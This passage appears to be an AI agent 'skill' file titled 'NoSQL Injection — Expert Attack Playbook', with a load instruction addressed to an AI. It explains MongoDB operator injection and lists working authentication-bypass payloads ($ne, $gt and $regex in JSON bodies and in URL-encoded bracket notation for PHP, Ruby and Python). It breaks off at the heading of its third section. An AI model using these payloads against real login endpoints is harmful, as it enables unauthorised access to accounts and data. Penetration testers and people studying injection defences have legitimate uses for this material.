nosql-injection

SKILL: NoSQL Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: NoSQL injection is fundamentally different from SQL injection. Covers MongoDB operator injection, authentication bypass, blind extraction, aggregation pipeline injection, and Redis/CouchDB specific attacks. Very commonly missed by testers who only know SQLi patterns.

1. CORE CONCEPT — OPERATOR INJECTION

SQL Injection breaks out of string literals.
NoSQL Injection injects query operators that change query logic.

MongoDB example — normal query:

db.users.find({username: "alice", password: "secret"})

Injection via JSON operator:

{
  "username": "admin",
  "password": {"$gt": ""}
}

→ Becomes: find({username:"admin", password:{$gt:""}}) → password > "" → always true!

2. MONGODB — LOGIN BYPASS

JSON Body Injection (API with JSON Content-Type)

POST /api/login
Content-Type: application/json

{"username": "admin", "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$regex": ".*"}}

PHP $_POST Array Injection (URL-encoded form)

username=admin&password[$ne]=invalid
username=admin&password[$gt]=
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$regex]=.*

Ruby / Python params Array Injection

Same as PHP — use bracket notation to inject objects:

?username[%24ne]=invalid&password[%24ne]=invalid

%24 = URL-encoded $

3. MONGODB OPERATORS FOR INJECTION